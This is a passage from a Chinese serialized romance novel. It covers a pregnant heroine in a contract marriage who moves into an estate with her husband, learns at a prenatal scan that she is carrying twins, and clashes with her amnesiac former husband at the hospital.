他握紧怀里的油纸伞,快步上前,从身后轻轻圈住她的腰,将人往怀里带了带,“慢着点,怀着孕呢,别摔着。要不然老太太得要了我的命。” 岑予衿顺势靠在他怀里,指尖捏着一片刚接住的雪花,笑得眉眼弯弯,“是初雪呀!都说初雪的时候许愿很灵的。” “那你许了什么愿?”陆京洲低头,鼻尖蹭过她的发顶,雪花落在他的睫毛上,让他深邃的眼眸添了几分柔和。 她转过身,踮起脚尖凑到他耳边,声音软乎乎的,“我许愿,以后每个下雪天,都能和阿洲一起撑着那把伞回家。” 陆京洲心口一热,松开圈着她腰的手,反手将油纸伞撑开。 黑色的伞面撑起一片小天地,隔绝了漫天风雪,伞柄上的平安扣穗子轻轻晃动。 他将她护在伞下,指尖扣住她的手,力道轻柔却坚定,“不用许愿,我陪你。” 岑予衿仰头看着他,他也恰好低头看着她。 两人的眼里都只有彼此。 岑予衿率先移开了视线,说实话……谎话说多了,她都不知道哪句是真哪句是假。 陆京洲替她拢了拢身上的衣服,揽着她的肩膀往外走。 第56章 你脑子里装着些什么黄色废料? 陆京洲自己开车过来的,开的是她第一次坐副驾的那辆车,打开副驾驶的车门,让她先坐进去。 “把衣服脱。” “啊?”岑予衿仰头有些不知所措的看着他,“车子里面吗?” 陆京洲抬手给了她爆栗,“脑子里装的都是一些什么黄色废料,周二小姐你的感情经历怕是比我想象中的还要复杂?” “就跟个圆圆滚滚的水煮蛋似的。” 岑予衿更加疑惑了,“是我的皮肤很嫩,很q弹吗?” “是外表看起来人畜无害,又乖又软,实则里面黄的流心。” 岑予衿第一次听到这样的比喻,捂住了自己被他打的有些痛的地方,“可是你说的话就是很容易让人误会啊,你突然让我脱衣服干什么?” 陆京洲自己上手,帮她把厚重的外套脱下来,随手丢到后座,“车里开着暖气,你穿的多会很热,再说了穿那么厚,坐在车里你不会觉得不舒服吗?” 岑予衿咬着嘴唇半天说不出一句话,“哦,你想的真周到。” 陆京洲揉了揉她的脑袋,坐回自己的驾驶座,启动车子。 岑予衿趴在车窗上看着外面的雪,声音里满是期待,“照这个架势来看,回家先吃饭,睡一觉起来就可以堆雪人了。” “想吃什么我吩咐人做?” 岑予衿摇头,“我不知道,但是我不挑食,吃什么都可以。” 陆京洲先给厨师那边发了消息,才启动车子。 车子开到一半,岑予衿就发现了不对劲,这不是回陆家老宅的方向。 “阿洲,我们你不是要回家吗?” 陆京洲点头,“嗯,要回家,不过是回咱俩的家。” “咱俩的家?”岑予衿重复着念出这句话,“哪里呀?” “檀月山庄。” 这岑予衿是有印象的,老太太给他的转让协议里就有檀月山庄。 原来是把它当成婚房送给他们了呀。 车子缓缓驶入檀月山庄的大门,雕花铁艺门在雪幕中缓缓开启,一条铺着青石板的长路蜿蜒向前,两侧的雪松挂满了积雪,像极了童话里的城堡回廊。 岑予衿看得眼睛都直了,趴在车窗上不住惊叹,“这也太大了吧?” 车子一路开过开阔的前院,人工湖结了层薄冰,湖面倒映着漫天飞雪,岸边的观景亭覆着白雪,雅致又静谧。 即便在飘雪的冬日,山庄的景致依然令人震撼。 八栋主楼错落分布,很是壮观。 奶奶出手真的很大气。 车子停在主栋别墅门前时,岑予衿还没从震撼中回过神。 陆京洲先下车绕到副驾,刚替她拉开车门,就见不远处的台阶下,一位头发花白却精神矍铄的老人正领着几位佣人站在雪地里等候。 身上都裹着厚厚的棉衣,脸上带着温和的笑意。 “先生,太太,欢迎回家。”陈叔快步上前,声音带着难以掩饰的激动,眼角的皱纹都舒展开来,“可算把你们盼来了。” 陆京洲牵着岑予衿的手往前走了两步,目光扫过熟悉的庭院,眼底掠过一丝复杂,“陈叔,这几年辛苦你了。” “不辛苦,守着这宅子,就是等着先生回来。”陈叔笑着躬了躬身,视线落在岑予衿身上时愈发温和,“这位就是太太吧?先生好福气。” 岑予衿被夸得有些不好意思,轻轻往陆京洲身后缩了缩。 陆京洲握紧她的手,低声跟她解释,“这是我母亲留下的宅子,她走后,就一直是陈叔帮着照看。我也好几年没来了,没想到变化不大,就是院里的雪松又长高了些。” 他的声音很轻,带着点不易察觉的怅然。 岑予衿抬头看他,见他望着庭院里那几棵高大的雪松出神,忽然想起他母亲留下的那把油纸伞,心里软了软,悄悄用指尖勾了勾他的掌心。 陆京洲回过神,低头对她笑了笑,转而对陈叔说,“外面雪大,先进屋吧。” “哎,好。”陈叔连忙应着,侧身引路,“屋里早就暖好了,厨师也按先生的吩咐备了菜,都是太太能吃的清淡口味。我还让人把主卧和婴儿房再打扫了一遍,阳光最好的那间花房也收拾出来了,太太要是喜欢做手工,那儿正合适。” 岑予衿跟着陆京洲往里走,踩着温暖的实木地板,对每个地方都很好奇。 陆京洲看着客厅里熟悉又陌生的陈设,墙上挂着的油画,墙角的古董花瓶,甚至沙发上的靠枕,都还保持着多年前的模样,就好像母亲从未离开过。 岑予衿确实饿了,对着满桌清淡却精致的菜肴大快朵颐。 陆京洲不时给她夹菜,看着她鼓着腮帮子咀嚼的样子,像只满足的小仓鼠,唇角不自觉扬起。 “慢点吃,没人跟你抢。”他递过汤碗,语气是自己都未察觉的纵容。 岑予衿咽下嘴里的红烧小排,眼睛亮晶晶的,“这个好好吃!还有这个鸡汤,好鲜甜!” 她说着,又舀了一勺,“感觉比老宅厨师做的还合我胃口。” 陆京洲轻笑,“这里掌勺的是吴妈,以前是跟着我母亲的,以后你想吃什么,让她给你做就好。” 然而吃饱喝足后,暖气和连日疲惫一同袭来。 岑予衿眼皮都在打架,陆京洲看着她头一点一点的。 把人抱起来就往楼上走。 先让她去洗漱,她洗漱完出来的时候还强撑着说要下去堆雪人。 等他洗漱完出来,岑予衿早缩在床上睡着了。 陆京洲看着她那没有安全感的睡姿,帮她把脚上的毛绒拖鞋拿掉,小心翼翼的把人抱起来放到床上。 小心翼翼的把人放在了靠墙的位置。 岑予衿嘴里还不断的嘟囔着,“我要堆雪人……” 陆京洲真是无奈,嘴角忍不住微微上扬,“好好好,堆雪人!” 他替她盖好松软的羽绒被,指尖轻轻拂过她蹙起的眉尖,低声哄着,“等你睡醒,雪还没停呢,到时候堆个最大的,给它按上圆滚滚的脑袋,再插两根雪松枝当胳膊。” 他坐在床边看了她半晌,她睡得很沉,呼吸均匀,睫毛上还沾着点未干的水汽,像蝶翼般轻轻颤动。 窗外的雪还在簌簌落下,透过薄纱窗帘,在地板上投下一片朦胧的白。 陆京洲起身轻手轻脚带上门,下楼时吩咐陈叔,“她早上有喝温牛奶的习惯,别让她空腹出去。再备两副厚手套和防水靴,放在玄关。” 陈叔笑着应下,“先生放心,都准备好了,还找了些彩色的绒球和丝带,太太要是想给雪人装饰,正好能用。” 陆京洲走到客厅落地窗前,望着庭院里漫天飞雪。 雪松的枝桠被雪压得微微低垂,人工湖的冰面覆着一层新雪,远处的观景亭像是裹了层白绒。 他的表情有些沉重,檀月山庄顺利住进来了,下一步就是诱哄她拿到房产证。 第57章 第一次产检 翌日清晨! 岑予衿迷迷糊糊的从床上爬了起来,旁边没有人睡过的痕迹。 陆京洲昨晚没回来。 这里的床是靠着墙的,靠墙的那边全部都用柔软的靠包垫了一整圈。 陆京洲是觉得她睡觉不老实,怕她会滚下去吧。 岑予衿打了个哈欠,伸了伸懒腰,刚要下床,就见房间的门被打开了。 “阿洲,早上好呀~”睡得饱饱的她心情也好了不少。 “醒了?”陆京洲已经穿戴整齐,手里端着一杯温牛奶,“先把牛奶喝了,不是说好要堆雪人?” 岑予衿顿时来了精神,“我先洗漱。” 说完小跑车进了浴室洗漱,洗漱完出来拿起温牛奶仰头一口闷。 很自然的将杯子放回他手里,转身就往外跑。 “等等。”陆京洲眼疾手快地拉住她,从衣柜里取出早就准备好的保暖衣物,“穿这么少就想出去?也不怕冻死在外面?” 他蹲下身,仔细帮她穿上早就准备好的加厚的雪地靴,又给她套上羽绒服,围上那条深红色的羊绒围巾。 动作细致得让岑予衿有些恍惚。 陆京洲真的和传闻中不一样,跟他相处了这么久,也没见他带什么乱七八糟的女人回来。 也没有闹出什么绯闻。 对她还关怀备至,长得又帅,这样的男人真的不好找了。 想到自己接近他,还装作很喜欢他的样子,有点心虚。 更多的是觉得对不起他。 “好了。”陆京洲帮她穿好雪地靴起身,岑予衿这才回过神来。 “这条围巾好漂亮。”她摸着柔软的面料,转移了话题。 “新的。”陆京洲系围巾的手微微一顿,随即自然地打了个结,“专门给雪人准备的,不是说好了要给它戴红色围巾?” 庭院里,积雪没过了脚踝。 陈叔早就贴心地清扫出了一片空地,旁边整齐地放着铲子、手套,还有一篮装饰用的绒球和丝带。 岑予衿兴奋地蹲下身团雪球,陆京洲站在她身后,看着她笨拙的动作,眼底泛起笑意。 “不是这样。”他走上前,从身后握住她的手,带着她一起滚雪球,“要这样,慢慢滚,才能滚得圆。” 他的掌心很暖,透过厚厚的手套传来温度。 岑予衿一时失神,任由他带着自己,将雪球越滚越大。 两个雪球叠在一起,成了雪人的身体。 陆京洲不知从哪变出一根胡萝卜,稳稳地插在雪人脸上当鼻子。 “你怎么连胡萝卜都准备好了?”岑予衿惊讶。 陆京洲但笑不语,只是将两颗黑色的绒球按在雪人脸上当眼睛,又细心地用树枝为它添上手臂。 最后,他解下岑予衿颈间的红色围巾,仔细地系在雪人脖子上。 白雪映着红围巾,格外鲜艳。 “完美。”陆京洲后退一步,满意地欣赏他们的作品。 岑予衿上前一步,在地上画了个大大的爱心,随后在爱心里写了两个字母【J.Z】 “我的名字缩写?” 岑予衿嘴角忍不住往上勾了勾,“是你名字里京和我的姓,缩写恰好也是你的名字。” 其实也可以是岑予衿的衿和陆京洲的洲。 岑予衿看着雪人,又看看身旁的男人,心里涌起一股暖流。 她没想过,他会幼稚的陪他一起堆雪人。 她掏出手机,对着雪人连拍好几张照片,又让陈叔给他俩拍了张合影。 正要拉着陆京洲自拍时,手机突然弹出日历提醒: 【今日预约:产科检查,B超,确认孕周及胎心】 她猛地愣住,手指停在半空。 “怎么了?”陆京洲注意到她的异样。 “今天……是我产检的日子。”岑予衿轻声说,手指不自觉地抚上小腹,“6到8周,第一次正式产检,要做B超,我给忘了。” 陆京洲看了一下时间,现在还早,“还早着呢,别着急,回去收拾一下陪你过去。” 岑予衿看向他的眼神亮亮的,“你要陪我一块过去吗?” “产检不都是夫妻一块的吗?我陪你去不是很正常。” 陆京洲神色自然地点头,伸手将她发梢沾到的一点雪花拂去,“笙笙,我是孩子的父亲。” 他的动作很轻柔,语气也理所当然,岑予衿心头那点因“欺骗”而产生的愧疚感又冒了出来,她下意识避开了他的视线,低头看着雪地里那个写着【J.Z】的爱心。 “那…我们快回去准备一下吧。”她说着,率先转身往屋里走,脚步有些匆忙。 陆京洲看着她略显慌乱的背影,目光在她刚才画的爱心上停留片刻,眼神深处掠过一丝难以察觉的复杂。他抬步跟上,语气依旧温和,“慢点走,地上滑。” 去医院的路上,车厢里很安静。 第58章 双胞胎?我这么厉害的吗! 陆京洲进门的时候,岑予衿还在纠结换什么衣服,最后犹豫了一下,还是选择把昨天穿的衣服换上。 “老婆,咱家穷到连换洗的衣服都没有了吗?” 岑予衿忙着换衣服,都没看到他进来,被吓了一跳,“衣柜里就只有这几件,我不喜欢,还不如穿昨天的。” 陆京洲摇了摇头,牵着她的手,打开了旁边的一个侧门。 门打开,里面全是衣服,而且都是当季新款。 陆京洲靠在墙上,声音里满是宠溺,“要不你问一下你老公呢?” 岑予衿眼睛都亮了,“你什么时候准备的?” “秘密。”陆京洲看着她东看看西摸摸的样子,觉得有点好笑,“快挑吧,我在外面等你。” 岑予衿本来就有点选择恐惧症,哪挑的出来啊,“你觉得是穿裙子方便还是穿裤子方便?” 陆京洲想不出来,他又没有产检过,也不知道怎么检查,“你想穿裙子还是穿裤子?” 岑予衿摇头,“我也不知道。” 陆京洲看着她的小手流连在裙子上又移到裤子上,一下子就明白了,她的小心思。 现在的她不需要人帮她权衡利弊,她需要的是坚定的告诉她,穿裙子好,她的手先摸了裙子,“穿裙子。” “可是穿裙子这几天有点冷,还要穿加绒的打底,和穿裤子也没什么区别。” 陆京洲一下子就想到了上次她说在周家的时候,她哥不允许她穿裙子,“穿就穿嘛,我老婆穿裙子巨好看。” 岑予衿嘴角忍不住往上勾了,“真的吗?” “当然啦,坐着我帮你挑一套。” 陆京洲自告奋勇的上前帮忙。 岑予衿乖乖的坐在沙发上等着他挑衣服。 不一会,陆京洲就挑好了。 整体穿搭以浅粉色为基调,短款外套领口和袖口有两圈白色的小绒毛,胸前系着白色蝴蝶结,搭配同色系修身及踝长裙,裙摆边缘同样采用白色毛绒拼接。 白色圆顶礼帽和一条加绒白色打底。 “这套怎么样?”陆京洲挑眉,那明显是在说赶紧夸我。 岑予衿眼前一亮,不过很快,眼里的光就暗淡下来了。 陆京洲看出他也很喜欢,不过也知道她的顾虑,立马解释,“现在还是孕初期,穿这个很方便的,B超不是在肚子上做嘛,把上衣外套打开就可以了,里面给你答了一件宽松一点的白色打底衫。” 岑予衿看着他信誓旦旦的模样,最终点了点头,“那我先试一下。” 她换好衣服从衣帽间走出来时,陆京洲正低头看着手机,听到动静抬起头,目光落在她身上的瞬间,眼神倏地亮了起来。 浅粉色的套装衬得她肌肤愈发白皙剔透,短款外套勾勒出纤细的腰线,领口袖口的白色绒毛柔和了她的脸部线条,及踝长裙更显得她身姿修长。 白色圆顶礼帽斜戴,增添了几分俏皮与贵气,整个人像是从童话里走出来的冬日精灵,温柔又明媚。 “怎么样?”岑予衿有些紧张地拉了拉裙摆,在他面前轻轻转了小半圈。 陆京洲放下手机,站起身,走到她面前,目光灼灼,毫不掩饰眼底的惊艳。 他伸手帮她正了正帽子,语气里是满满的骄傲与肯定,“很温柔,很好看,非常适合你。” 他顿了顿,微微扬起下巴,像个等待夸奖的大男孩,补充道,“我的眼光,果然无可挑剔。” 看着他这副自信满满又带着点小得意的模样,岑予衿忍不住“噗嗤”笑出了声。 她眼珠转了转,带上几分狡黠的打趣,歪头看他,“是哦,陆大少爷这挑衣服的眼光和搭配能力被你的前女友们‘调教’得很不错嘛!” 她故意把“调教”两个字咬得微微重了些,带着点醋意,又更多的是揶揄。 陆京洲闻言,先是一愣,随即失笑。他伸手,轻轻捏了捏她的鼻尖,眼神里满是纵容和无奈,“胡说八道什么呢?” 他俯身,凑近她耳边,压低的声音带着磁性,又透着无比的认真,“这都是你老公我天资聪颖,无师自通。再说了……” 他直起身,目光温柔地落在她的小腹上,又移回她的眼睛,“给我老婆挑衣服,当然要拿出最高水准。” 她脸颊微热,心里甜丝丝的,刚才那点故意逗他的小心思也化成了柔软的涟漪。 她娇嗔地瞪了他一眼,嘴角却抑制不住地向上扬起,“油嘴滑舌。” 她小声嘟囔,却主动伸出手挽住了他的胳膊,“走吧,陆先生,再不出门要迟到了。” 他满意地看着她依赖的动作,反手将她的手指紧紧扣在掌心,笑容灿烂,“好,出发!” 陆京洲开车,岑予衿乖乖坐在副驾驶上。 圣禾妇产医院离这不远,属于陆家的私人产业,老太太早早的就帮她定好了医生。 陆京洲怕她冷,将车停在地下车库之后直接坐电梯上楼。 电梯直达圣禾妇产医院的VIP楼层,环境静谧温馨,早有护士和主任医生在等候。 一切流程都安排得高效而私密。 首先进行的是常规检查。测量身高体重血压时,护士笑着夸赞,“陆太太,您的体重和血压都保持得非常好,很适合孕期。” 岑予衿悄悄松了口气,下意识地摸了摸小腹,“陆太太还要抽几管血,早上起来吃过东西了吗?” 早上起床的时候陆京洲给她端了温牛奶,还吃了早餐,“不是空腹了,今天得白跑一趟。” 护士面露难色,有些害怕的看向陆京洲。 怕他会突然生气。 这位爷他们可早有耳闻。 陆京洲立刻反应过来,揽住岑予衿的肩膀,没有丝毫责怪,“没关系,是我们自己疏忽了。那今天就不抽血了。” 他低头看向岑予衿,眼神温柔,带着安抚的笑意,“来都来了,总不能白跑一趟。我们先做其他不用空腹的检查,比如B超?抽血我们明天再来,反正离家近,我陪你。” 听到这几句话的小护士,松了口气的同时,眼里满是震惊。 难不成是因为结婚了,这位爷就改性了。 医生也笑着点头,“这样也可以,陆太太,那我们今天就先做B超和常规的身体检查,抽血项目明天补上就行。” 陆京洲带着她到了B超室,扶着她躺下,贴心的帮她打开衣服扣子。 躺在检查床上,岑予衿莫名觉得有些慌。 陆京洲就坐在床头,大手始终包裹着她微凉的手指。 耦合剂带来一丝凉意,女医生将探头轻轻放在她的小腹上,目光专注地看向屏幕。 室内很安静,只有仪器运作的细微声响。 岑予衿屏住呼吸,眼睛一眨不眨地看着医生的表情,试图从中读出些什么。 陆京洲也微微倾身,紧张地关注着。 突然,医生脸上露出了明显的笑容,她调整了一下探头,语气带着喜悦和肯定,“恭喜陆先生,陆太太!宫内早孕,双活胎,而且从孕囊和胎膜结构来看,是双绒双羊。” “双……双胎?”岑予衿猛地睁大了眼睛,几乎不敢相信自己的耳朵,下意识地重复了一遍。 而一旁的陆京洲,反应更是直接。他像是被定住了一样,愣了两秒。 然后难以置信地抬手指着自己的鼻子,看向医生,声音都提高了八度,带着纯粹的震惊,“双胞胎?!医生,我……我这么厉害的吗?!” 他这话问得太过直白和意外,连一向专业的医生都忍不住笑出了声,连忙肯定道,“是的,陆先生,您很‘厉害’。两个孕囊非常清晰,各自有独立的胎盘,这是双胎里最理想的类型,风险最低。” 岑予衿也从巨大的震惊中回过神来,听到陆京洲那傻乎乎的话,看着他脸上那混合着骄傲、懵圈和无限惊喜的表情,一时间哭笑不得。 她抬手轻轻捶了一下他的胳膊,“你……你胡说什么呢!” 她的嘴角也和陆京洲一样,无法控制地高高扬起。 第59章 我们离婚的话,孩子可不可以一人一个? “两个都有胎心胎芽,陆先生和陆太太可以放心了。” 陆京洲还是没有缓过神来,看着屏幕上的两个小点。 其实从结婚,知道她怀孕到现在,他都没有什么实感,直到现在看到了屏幕上那两个小点,他才有了一点点不一样的感觉。 周芙笙怀了他的孩子,还是两个? 要不……檀月山庄还是跟她买回来吧,多给她一点钱。 岑予衿一直在问医生问题,医生也很细心的给出了答案。 半天也没见陆京洲说话,刚想推他,就见他呆呆的看着屏幕一动也不动,不知道在想什么。 “擦一下耦合剂就可以起来了。”医生拿了一包纸递给陆京洲他才回过神来。 手忙脚乱的给她擦拭,动作却异常轻柔。 擦完了才把人从床上扶起来,信誓旦旦的保证,“老婆,你放心我会照顾好你的。” 岑予衿很意外他会这么说,所以她刚才一直在发呆,想的都是这些? 不过……两个宝宝也挺好的。 他那边没什么亲人,她也只有一个父亲。 孩子是血脉相连亲人,两个都是上天给的宝贝。 “在想什么?怎么一直不说话,是不相信我说的话?”陆京洲扶着她往外走,开玩笑道。 “不是,我在想,两个宝宝的话,咱们俩离婚,你能分我一个吗?” 岑予衿发现一孕傻三年,这句话一点也没。 这嘴就是把不住门,他一问全抖出来了。 果然听到这话,身边男人身上的气压一下子就变低了。 陆京洲扶着她手臂的力道微微收紧,脸上那副惊喜未褪又混杂着刻意营造的温柔表情瞬间冷却下来。 他停下脚步,侧头看她,唇角勾起一抹要笑不笑的弧度,眼神里带着几分审视和玩味。 “怎么,周二小姐,”他压低了声音,能听出来他不开心,“孩子还没成型,就已经开始想着怎么瓜分我的血脉了?一个怎么够,要争,当然得两个一起争才划算。” 岑予衿的心咯噔一下,刚要开口解释,就听他又说,“万一是龙凤胎,一男一女怎么分?” 好! 他这么问的话,她可就要回答了。 “陆家肯定是想要个长孙,男孩归你,女孩归我。女孩跟着妈妈肯定是要方便一点的。” 陆京洲一听她这话明显就是想离婚分小孩。 “我们陆家可没有重男轻女这么大,上一半全是男的,一个女孩都没有,指定是重女轻男的,你要是把女孩分走的话不公平。” 岑予衿也来劲了,“那我要男孩把女孩留给你们总可以了吧。” 陆京洲摇头,“那可不行,还是不公平。我也想要个儿子。” 岑予衿叉着腰看向他,“那你想怎么办?总不能一周交换一次吧。” 陆京洲捏了捏她的小脸,声音带着点咬牙切齿的味道,“就这么想跟我离婚?” 对哦~ 现在他们俩讨论的这是什么话题啊! 以离婚为前提的分孩子? 陆京洲思考了一瞬,随即给出了一个非常完美的方案,“要离婚也可以,为了公平一点,咱们两个多生两个,争取两男两女,这样分起来公平一点。” 岑予衿哼了一声,用力的推了他一把,“谁要跟你生两男两女了。我才不生呢。” “那不离婚不就好了?”陆京洲看着她生气的背影,还是没忍住笑出了声。 “陆总这是爱上我了?” 陆京洲高深莫测的摇了摇头,半开玩笑道,“我怕咱俩离婚后娶不到这么乖的。” 岑予衿被他气的直跺脚,头也不回的进了电梯,用力的摁了电梯门,“陆京洲你会不会好好说话?” “不是你先说的这个话题,还要分孩子吗?”陆京洲还没来得及追上去,电梯就已经往下走了。 岑予衿被他气的不轻,到了一楼才发现把他落下了。 让他好好找吧。 她都懒得搭理他。 直接在无人售货机里少了一瓶矿泉水,拧开猛灌了一口,坐在休息椅上休息。 突然,一双黑色皮鞋出现在自己的视线里。 岑予衿皱眉,陆京洲这么快就找到了。 不对……陆京洲今天没穿西服,也没穿皮鞋。 她缓缓抬头,周时越那张晦气的脸就这么猝不及防的闯入了她的视线。 第60章 周时越,你恢复记忆了? 岑予衿的心猛地一沉,握着矿泉水瓶的手指下意识收紧,塑料瓶发出轻微的“嘎吱”声。 她怎么也没想到,会在这里遇到周时越这个阴魂不散的人。 周时越居高临下地看着她,目光先是落在她手中的矿泉水上,随即扫过她明显比前几次见面圆润了些的脸颊,最后定格在她尚且平坦的小腹,眼神里带着毫不掩饰的审视。 他的眼神让她很不舒服。 岑予衿心情本来就不好,都不带搭理他的,“滚远点!别在我面前晃悠。” 周时越没动,“你怎么一个人来医院?” 说完像是想到了什么,摇了摇头,“不过也是,陆京洲需要陪的女人可多了,你只是运气好被陆老太太看中成了他名不副实的妻子而已。又不受宠,他怎么可能会陪着?” 岑予衿怎么觉得这话这么难听,“大哥,虽然说我是你妹妹,你也没必要管的这么宽吧,这是我们夫妻之间的事情,就不劳你费心了。” 周时越听着她的称呼,心里莫名有些不舒服,“岑予衿,你说话有必要这么夹枪带棒的吗?” “岑予衿是谁?不是我前嫂子吗,大哥这是在说什么?我听不懂。”岑予衿无辜的看着他。 周时越拿她一点办法都没有,恶狠狠的抬手指着她,想放狠话,可一想到这些天脑子里浮现出来的那些画面,又硬生生的忍了下去。 看着她那副油盐不进、装傻充愣的样子,胸口一阵憋闷。 他指着她的手指缓缓放下,深吸了一口气,试图压下心头那股无名火,换上了一副看似苦口婆心的姿态。 “好,岑予衿。”他几乎是咬着牙叫出这个名字,“不管你承不承认,你现在名义上是我周时越的妹妹。我不管你心里怎么想,但我不能眼睁睁看着你往火坑里跳。” 往火坑里跳。 她自己选的这火坑也比他选的火坑要强吧。 他往前凑近一步,压低了声音,语气带着一种刻意营造的关切,“陆京洲是什么人?他身边的女人比你想象的要多得多!他对你能有几分真心?不过是碍于陆老太太的压力,再加上你……还算有几分利用价值。等他腻了,或者找到了更合心意的,你的下场会比现在凄惨百倍!” 岑予衿闻言,简直要气笑了。 她抬起眼,像看什么稀有物种一样打量着周时越,眼神里的嘲讽几乎要溢出来。 “哦?”她拖长了尾音,语气轻飘飘的,“所以呢?大哥是有什么高见?” 周时越见她似乎有所松动,立刻继续说道,“离开他。趁现在还没陷得太深,也没……没闹出更大的‘麻烦’。” 他的目光再次若有似无地扫过她的小腹,“如果你愿意,我可以安排你离开,去一个他找不到的地方。保证你下半辈子衣食无忧。” 岑予衿听到这话不自觉的皱起了眉头,上下打量了他一番,声音透着几分不不确定,“周时越,你恢复记忆了?” 周时越冷哼一声,并没有回答她的问题,“陆京洲就不是什么好东西,就是个爹不疼,娘不爱的神经病,你跟着他,只有被抛弃的份,他压根就不知道怎么爱人。” 越说他越激动,“他对你的那些维护,宠爱,都是装出来的,他宠你,爱你,不过是因为你身上有利用价值。” 岑予衿听着他这话,也明白,他并没有恢复记忆,“这和你有关系吗?周时越你别忘了,是你亲手把我推进了火坑。现在在这儿假惺惺,是挑到更好的联姻人选了吗?” 她听着周时越用那样轻蔑的口吻贬低陆京洲,心脏像是被细密的针扎了一下,泛起一阵尖锐的刺痛。 这股不适来得迅猛而强烈,甚至盖过了对周时越的厌恶。 她可以忍受周时越对她的冷嘲热讽,却无法容忍他这样诋毁陆京洲。 岑予衿猛地抬起头,眼底刚才的戏谑和嘲讽褪得一干二净,护犊子似的握紧了拳头,“周时越,你以什么立场来评判他?一个连自己过去都拎不清的人,有什么资格对别人的人生指手画脚?” 周时越被她骤然转变的态度和尖锐的反问噎了一下,随即嗤笑,“怎么?说到你的痛处了?我有没有记忆,都不影响陆京洲是个冷血怪物的事实。一个连亲生父亲都不放在眼里的人,你以为他对你能有几分特殊?” “他不把他放在眼里,是因为那所谓的父亲根本不配!”岑予衿脱口而出,声音因激动而微微发颤。 她往前逼近一步,虽然身高不及周时越,但那股气势却丝毫不弱,“是,或许在你们眼里,他冷漠、不近人情。可就是你这个口中的‘神经病’,他给了我一个家。他或许不懂怎么爱人,但他至少坦荡!比你这种失了忆还跑来前妻面前搬弄是非、假装好人的伪君子要真实一千倍,一万倍!” 岑予衿胸口剧烈起伏着,这些话几乎是不假思索地冲口而出,连她自己都微微怔住。 她没想到,在心底,她竟然是这样维护陆京洲的。 周时越被她这番话彻底激怒了,尤其是那句“伪君子”,狠狠戳中了他某个不愿承认的痛点。 他脸色阴沉得能滴出水来,眼神狠厉地盯着她,“岑予衿,你别不识好歹!我告诉你,陆京洲他……” “他怎么样都轮不到你来定义!”岑予衿厉声打断他,眼神里充满了决绝的疏离,“有多远滚多远,什么玩意儿?看着就晦气。” 岑予衿还觉得不解气,抬脚猛的踩在了他的皮鞋上,“我告诉你,陆京洲是我老公,是我孩子的父亲,要是再让我听到你说他一句不好,我弄死你。” 周时越的声音不自觉放大,“你别给脸不要脸。” 而就在这时,一道低沉冷冽的男声骤然从身后传来,带着毁天灭地的戾气,“谁给你的胆子,敢动我的人?” 第61章 老婆,你说句话呀,老婆! 岑予衿浑身一僵,踩在周时越皮鞋上的脚瞬间收了回来。 陆京洲! 他什么时候来的?听到了多少? 心脏猛地悬到嗓子眼,刚才对着周时越张牙舞爪的气势顷刻间消散无踪,只剩下心虚和慌乱。 她甚至不敢回头去看陆京洲此刻的表情。 周时越这个狗东西,刚才一直叫的名字是岑予衿,要是被听到了,那可真就完蛋了。 陆京洲看着把头低的跟鹌鹑似的周芙笙,没忍住上前抓住她的肩膀,把人带了回来,“老婆,我不就是不小心惹了你一下嘛,干嘛跑那么快?” 说着,抬手用力的推了一把周时越,“你这是在跟踪我老婆吗,大哥?怎么会这么巧,我找我老婆都花了一点时间,你就恰好遇上了?” 他那一下可是用尽了全力的。 周时越踉跄的往后退了几步,直接靠到了他身后的墙上。 岑予衿抬手抱住了他的腰,“你什么时候来的?” 岑予衿的小心脏忍不住砰砰砰的狂跳,仿佛下一秒就要跳出胸腔,这种感觉真的太恐怖了。 要是他听到了,那就跟他坦白吧。 管他的! 刚才看他在检查室里的样子,应该也是喜欢小孩的,他应该不会让她上楼把孩子拿掉吧? 要是实在不行就跑,跑老太太那儿去。 老太太为了肚子里的重孙子,应该能护得住她。 “来了好一会了。”陆京洲抬手摸了摸她的脑袋,声音宠溺,“听到我老婆维护我,跟你大哥说,要是敢造我黄谣或是说我一句不好,你弄死他。” 这是周芙笙第二次在别人面前维护他。 上次,他只是从别人口中听说的。 这次亲耳听到,和上次可不一样,心里就是莫名的很爽。 为了他,她居然还踩了她大哥,这么看来的话,她是真的很喜欢他。 陆京洲不自觉的就起了眉头,刚才她哥后面那句话,怎么听着那么别扭? 他居然在挑拨离间他们之间的关系,还说让她离开他。 真是搞笑。 陆京洲搂着岑予衿的手臂紧了紧,将她完全护在自己羽翼之下。 他掀眸看向脸色铁青的周时越,唇角勾起一抹极尽嘲讽的弧度。 “周大少,”他声音不大,却字字清晰,带着冰碴子,“看来失忆不仅让你忘了自己姓什么,连带着做人的基本教养也一并忘了?” 周时越胸口剧烈起伏,刚要开口,陆京洲却没给他机会,“你一个大男人来妇产医院,别告诉我是自己怀孕了。” “陆京洲你嘴巴放干净一点,我是陪着我太太一块过来的。” 陆京洲歪着头看他,“你太太?你太太不是刚去世吗?哪个太太?” 陆京洲皱着眉头仔细想了想,最后一副恍然大悟的表情,“我知道,是你从国外带回来那个小三是不是?带着小三逼死原配,还让小三这么快上位的,我还是第一次见,你前太太还挺可怜的。” 岑予衿没想到陆京洲会这么说,三观可真正啊,还会可怜她。 一脸崇拜的仰头看着他,简直就是她的偶像啊! “听说你们刚领结婚证,第二天你就出事儿了,她就这么一个人撑着公司还找了你两年,这得是有多喜欢你啊!不过也是个没福气的,要换做是我,我才不死呢,绑也要绑,到医院看看脑子,小三怎么能斗得过原配?” 岑予衿听着这话越来越不对劲,总觉得他接下来说的那些话,都不会是什么好话。 陆京洲似乎想到了一个非常贴切的形容词,“王宝钏都没有她那么恋爱脑!搭上时间精力金钱,最后什么也没得到,我理解不了到底是爱的有多深才会找两年。” “要是我,顺理成章的继承他的公司,花他的钱,包养一二十个男模,这不比全世界找他的香?” 说完压根不看周时越的脸色,问搂在怀里的女人,“你前嫂子还是太仗义是不?” 岑予衿是真的笑不出来,也不知道该怎么回答。 因为他口中比王宝钏还要恋爱脑的人。 他没有站在她的立场角度,根本无法理解她为什么这么做。 换做是他喜欢了很多年的人,他估计也会找吧。 “周时越要么你两年前就死在外面,那你就是你前妻心里唯一的白月光,要么失忆了就别回来,回来就任由自己的小三把自己的原配欺负死,这算什么男人?” 陆京洲的嘴是真毒啊。 而且句句诛心,句句能找到重点。 周时越的目光落在岑予衿身上,目光极其复杂。 陆京洲看了一眼周时越,又看了一眼怀里缩的跟鹌鹑似的岑予衿。 他们俩一个也没说话,是他一个人在唱独角戏,挺没意思的。 不过……他俩那眼神怎么那么不对劲? 他能看出来不对劲,但又说不上来哪里不对劲。 陆京洲推了推怀里的人儿,“老婆,你说句话呀,老婆!” 